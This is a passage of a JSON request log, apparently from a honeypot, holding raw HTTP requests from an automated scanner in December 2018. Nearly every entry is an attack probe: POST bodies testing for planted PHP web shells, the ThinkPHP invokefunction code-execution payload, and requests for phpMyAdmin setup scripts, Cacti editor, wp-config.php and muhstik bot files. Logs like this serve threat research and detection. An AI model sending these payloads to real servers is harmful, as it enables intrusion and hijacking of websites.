  1065. "data": "POST /webslee.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nking=die(@md5(D3c3mb3r));"
  1066. },
  1067. {
  1068. "@timestamp": "2018-12-17T09:39:02.000Z",
  1069. "data": "POST /yao.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n123456=die(@md5(D3c3mb3r));"
  1070. },
  1071. {
  1072. "@timestamp": "2018-12-17T09:39:02.000Z",
  1073. "data": "POST /defect.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n180217=die(@md5(D3c3mb3r));"
  1074. },
  1075. {
  1076. "@timestamp": "2018-12-17T09:39:01.000Z",
  1077. "data": "POST /xiao.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxiao=die(@md5(D3c3mb3r));"
  1078. },
  1079. {
  1080. "@timestamp": "2018-12-17T09:39:00.000Z",
  1081. "data": "POST /feixiang.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 29\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nfeixiang=die(@md5(D3c3mb3r));"
  1082. },
  1083. {
  1084. "@timestamp": "2018-12-17T09:39:00.000Z",
  1085. "data": "POST /ak47.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 30\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nbyshanhun=die(@md5(D3c3mb3r));"
  1086. },
  1087. {
  1088. "@timestamp": "2018-12-17T09:39:00.000Z",
  1089. "data": "POST /ak48.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 30\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nbyshanhun=die(@md5(D3c3mb3r));"
  1090. },
  1091. {
  1092. "@timestamp": "2018-12-17T09:38:59.000Z",
  1093. "data": "POST /phpStudy.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\na=die(@md5(D3c3mb3r));"
  1094. },
  1095. {
  1096. "@timestamp": "2018-12-17T09:38:59.000Z",
  1097. "data": "POST /weixiao.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 28\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nweixiao=die(@md5(D3c3mb3r));"
  1098. },
  1099. {
  1100. "@timestamp": "2018-12-17T09:38:58.000Z",
  1101. "data": "POST /conflg.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nconflg=die(@md5(D3c3mb3r));"
  1102. },
  1103. {
  1104. "@timestamp": "2018-12-17T09:38:58.000Z",
  1105. "data": "POST /lindex.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nlindex=die(@md5(D3c3mb3r));"
  1106. },
  1107. {
  1108. "@timestamp": "2018-12-17T09:38:58.000Z",
  1109. "data": "POST /phpstudy.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n0=die(@md5(D3c3mb3r));"
  1110. },
  1111. {
  1112. "@timestamp": "2018-12-17T09:38:57.000Z",
  1113. "data": "POST /qq.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nc=die(@md5(D3c3mb3r));"
  1114. },
  1115. {
  1116. "@timestamp": "2018-12-17T09:38:56.000Z",
  1117. "data": "POST /mx.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nmx=die(@md5(D3c3mb3r))"
  1118. },
  1119. {
  1120. "@timestamp": "2018-12-17T09:38:56.000Z",
  1121. "data": "POST /wshell.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nbbs=die(@md5(D3c3mb3r));"
  1122. },
  1123. {
  1124. "@timestamp": "2018-12-17T09:38:56.000Z",
  1125. "data": "POST /xshell.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n520=die(@md5(D3c3mb3r))"
  1126. },
  1127. {
  1128. "@timestamp": "2018-12-17T09:38:55.000Z",
  1129. "data": "POST /db_desql.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n4=die(@md5(D3c3mb3r))"
  1130. },
  1131. {
  1132. "@timestamp": "2018-12-17T09:38:55.000Z",
  1133. "data": "POST /db_dataml.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n4=die(@md5(D3c3mb3r))"
  1134. },
  1135. {
  1136. "@timestamp": "2018-12-17T09:38:54.000Z",
  1137. "data": "POST /wp-admins.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 39\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\najax=true\u0026a=Php\u0026p1=die(@md5(D3c3mb3r));"
  1138. },
  1139. {
  1140. "@timestamp": "2018-12-17T09:38:54.000Z",
  1141. "data": "POST /m.php?pbid=open HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 39\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\najax=true\u0026a=Php\u0026p1=die(@md5(D3c3mb3r));"
  1142. },
  1143. {
  1144. "@timestamp": "2018-12-17T09:38:54.000Z",
  1145. "data": "POST /db__.init.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\neval=die(@md5(D3c3mb3r));"
  1146. },
  1147. {
  1148. "@timestamp": "2018-12-17T09:38:53.000Z",
  1149. "data": "POST /db_session.init.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\neval=die(@md5(D3c3mb3r));"
  1150. },
  1151. {
  1152. "@timestamp": "2018-12-17T09:38:52.000Z",
  1153. "data": "POST /qaq.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nm=die(@md5(D3c3mb3r))"
  1154. },
  1155. {
  1156. "@timestamp": "2018-12-17T09:38:52.000Z",
  1157. "data": "POST /db.init.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\neval=die(@md5(D3c3mb3r));"
  1158. },
  1159. {
  1160. "@timestamp": "2018-12-17T09:38:52.000Z",
  1161. "data": "POST /sheep.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nm=die(@md5(D3c3mb3r))"
  1162. },
  1163. {
  1164. "@timestamp": "2018-12-17T09:38:51.000Z",
  1165. "data": "POST /s.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nleng=die(@md5(D3c3mb3r));"
  1166. },
  1167. {
  1168. "@timestamp": "2018-12-17T09:38:51.000Z",
  1169. "data": "POST /w.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nleng=die(@md5(D3c3mb3r));"
  1170. },
  1171. {
  1172. "@timestamp": "2018-12-17T09:38:50.000Z",
  1173. "data": "POST /9678.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nh=die(@md5(D3c3mb3r));"
  1174. },
  1175. {
  1176. "@timestamp": "2018-12-17T09:38:50.000Z",
  1177. "data": "POST /wc.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n1=die(@md5(D3c3mb3r));"
  1178. },
  1179. {
  1180. "@timestamp": "2018-12-17T09:38:50.000Z",
  1181. "data": "POST /xx.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\naxa=die(@md5(D3c3mb3r));"
  1182. },
  1183. {
  1184. "@timestamp": "2018-12-17T09:38:49.000Z",
  1185. "data": "POST /xw1.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nh=die(@md5(D3c3mb3r));"
  1186. },
  1187. {
  1188. "@timestamp": "2018-12-17T09:38:48.000Z",
  1189. "data": "GET /TP/html/public/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=HelloThinkPHP HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1190. },
  1191. {
  1192. "@timestamp": "2018-12-17T09:38:48.000Z",
  1193. "data": "POST /wuwu11.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nh=die(@md5(D3c3mb3r));"
  1194. },
  1195. {
  1196. "@timestamp": "2018-12-17T09:38:48.000Z",
  1197. "data": "POST /xw.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nh=die(@md5(D3c3mb3r));"
  1198. },
  1199. {
  1200. "@timestamp": "2018-12-17T09:38:47.000Z",
  1201. "data": "GET /TP/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=HelloThinkPHP HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1202. },
  1203. {
  1204. "@timestamp": "2018-12-17T09:38:47.000Z",
  1205. "data": "GET /TP/public/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=HelloThinkPHP HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1206. },
  1207. {
  1208. "@timestamp": "2018-12-17T09:38:46.000Z",
  1209. "data": "GET /thinkphp/html/public/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=HelloThinkPHP HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1210. },
  1211. {
  1212. "@timestamp": "2018-12-17T09:38:46.000Z",
  1213. "data": "GET /thinkphp/public/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=HelloThinkPHP HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1214. },
  1215. {
  1216. "@timestamp": "2018-12-17T09:38:46.000Z",
  1217. "data": "GET /html/public/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=HelloThinkPHP HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1218. },
  1219. {
  1220. "@timestamp": "2018-12-17T09:38:45.000Z",
  1221. "data": "GET /public/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=HelloThinkPHP HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1222. },
  1223. {
  1224. "@timestamp": "2018-12-17T09:38:44.000Z",
  1225. "data": "GET /cacti/plugins/weathermap/editor.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1226. },
  1227. {
  1228. "@timestamp": "2018-12-17T09:38:44.000Z",
  1229. "data": "GET /plugins/weathermap/editor.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1230. },
  1231. {
  1232. "@timestamp": "2018-12-17T09:38:44.000Z",
  1233. "data": "GET /index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=HelloThinkPHP HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1234. },
  1235. {
  1236. "@timestamp": "2018-12-17T09:38:43.000Z",
  1237. "data": "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1238. },
  1239. {
  1240. "@timestamp": "2018-12-17T09:38:43.000Z",
  1241. "data": "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1242. },
  1243. {
  1244. "@timestamp": "2018-12-17T09:38:42.000Z",
  1245. "data": "GET /phpmyadmin/scripts/setup.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1246. },
  1247. {
  1248. "@timestamp": "2018-12-17T09:38:42.000Z",
  1249. "data": "GET /phpMyAdmin/scripts/setup.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1250. },
  1251. {
  1252. "@timestamp": "2018-12-17T09:38:42.000Z",
  1253. "data": "GET /scripts/setup.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1254. },
  1255. {
  1256. "@timestamp": "2018-12-17T09:38:41.000Z",
  1257. "data": "GET /appserv.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1258. },
  1259. {
  1260. "@timestamp": "2018-12-17T09:38:40.000Z",
  1261. "data": "GET /cmd.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1262. },
  1263. {
  1264. "@timestamp": "2018-12-17T09:38:40.000Z",
  1265. "data": "GET /shell.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1266. },
  1267. {
  1268. "@timestamp": "2018-12-17T09:38:40.000Z",
  1269. "data": "GET /knal.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1270. },
  1271. {
  1272. "@timestamp": "2018-12-17T09:38:39.000Z",
  1273. "data": "GET /cmv.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1274. },
  1275. {
  1276. "@timestamp": "2018-12-17T09:38:39.000Z",
  1277. "data": "GET /cmdd.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1278. },
  1279. {
  1280. "@timestamp": "2018-12-17T09:38:38.000Z",
  1281. "data": "GET /uploader.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1282. },
  1283. {
  1284. "@timestamp": "2018-12-17T09:38:38.000Z",
  1285. "data": "GET /cmd.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1286. },
  1287. {
  1288. "@timestamp": "2018-12-17T09:38:38.000Z",
  1289. "data": "GET /cmx.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1290. },
  1291. {
  1292. "@timestamp": "2018-12-17T09:38:37.000Z",
  1293. "data": "GET /lol.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1294. },
  1295. {
  1296. "@timestamp": "2018-12-17T09:38:36.000Z",
  1297. "data": "GET /muhstik2.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1298. },
  1299. {
  1300. "@timestamp": "2018-12-17T09:38:36.000Z",
  1301. "data": "GET /muhstik-dpr.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1302. },
  1303. {
  1304. "@timestamp": "2018-12-17T09:38:36.000Z",
  1305. "data": "GET /muhstiks.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1306. },
  1307. {
  1308. "@timestamp": "2018-12-17T09:38:35.000Z",
  1309. "data": "GET /muhstik.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1310. },
  1311. {
  1312. "@timestamp": "2018-12-17T09:38:35.000Z",
  1313. "data": "GET /wp-config.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1314. },
  1315. {
  1316. "@timestamp": "2018-12-17T09:38:34.000Z",
  1317. "data": "GET /wpc.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1318. },
  1319. {
  1320. "@timestamp": "2018-12-17T09:38:34.000Z",
  1321. "data": "GET /wpo.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1322. },
  1323. {
  1324. "@timestamp": "2018-12-17T09:38:34.000Z",
  1325. "data": "GET /text.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1326. },
  1327. {
  1328. "@timestamp": "2018-12-17T09:38:33.000Z",
  1329. "data": "GET /lala-dpr.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1330. },
  1331. {
  1332. "@timestamp": "2018-12-17T09:38:32.000Z",
  1333. "data": "GET /z.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1334. },
  1335. {
  1336. "@timestamp": "2018-12-17T09:38:32.000Z",
  1337. "data": "GET /desktop.ini.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1338. },
  1339. {
